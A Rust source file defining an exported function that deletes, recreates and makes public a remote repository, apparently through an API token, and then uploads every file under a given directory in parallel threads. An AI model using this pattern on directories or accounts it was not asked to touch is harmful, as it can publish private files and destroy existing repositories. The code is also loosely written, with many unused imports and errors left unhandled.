use std::{env, fs};
use walkdir::WalkDir;
use std::sync::atomic::AtomicU64;
use std::sync::atomic::AtomicBool;
use std::sync::atomic::Ordering;
use std::sync::atomic::AtomicUsize;
use std::path::Path;
use std::thread;
use std::sync::Arc;
use std::ptr;
use std::mem;
mod api;
use std::io;
mod nodelist;
use std::time;
mod fileupload;
use std::os::windows::fs::MetadataExt;
use tokio::task::LocalSet;
use walkdir::DirEntry;
use tokio;
mod gpuencode;
use tokio::runtime::Runtime;
use std::ffi::OsStr;
use tokio::runtime::Builder;
use tokio::future;
mod ThreadSafeVariable;
fn path_to_str(path: &Path) -> String {
    // 将路径转换为字符串
    path.to_string_lossy().to_string()
}
#[no_mangle]
pub fn filedirfunc(basepath:String,owner:String,repo:String,token:String){
    let owner_clone = owner.clone();
    let repo_clone = repo.clone();
    let token_clone = token.clone();
    let inithandle = std::thread::spawn(move || {
        api::delrepo(&owner_clone,&repo_clone,&token_clone);
        api::createrepo(&owner_clone,&repo_clone,&token_clone);
        api::publicrepo(&owner_clone,&repo_clone,&token_clone);
    });
    let prefix = Path::new(&basepath);
    let mut handles = vec![];
    let walkdir = WalkDir::new(&basepath);
    inithandle.join().unwrap();
    for entry in walkdir{
        match entry{
            Ok(entry)=>{
                let path=entry.path().to_owned();
                if path.is_file() {
                    let relative_path = path.strip_prefix(prefix).unwrap();
                    let relative_str = path_to_str(&relative_path);
                    let owner_clone = owner.clone();
                    let repo_clone = repo.clone();
                    let token_clone = token.clone();
                    let pathstr = path_to_str(&path);
                    let handle = thread::spawn(move || {fileupload::fileupload(relative_str,owner_clone,repo_clone,token_clone,pathstr)});
                    handles.push(handle);
                }
            }
            Err(err)=>{
                continue;
            }
        }
    }
    for handle in handles {
        handle.join().expect("Error waiting for coroutine to complete");
    }
}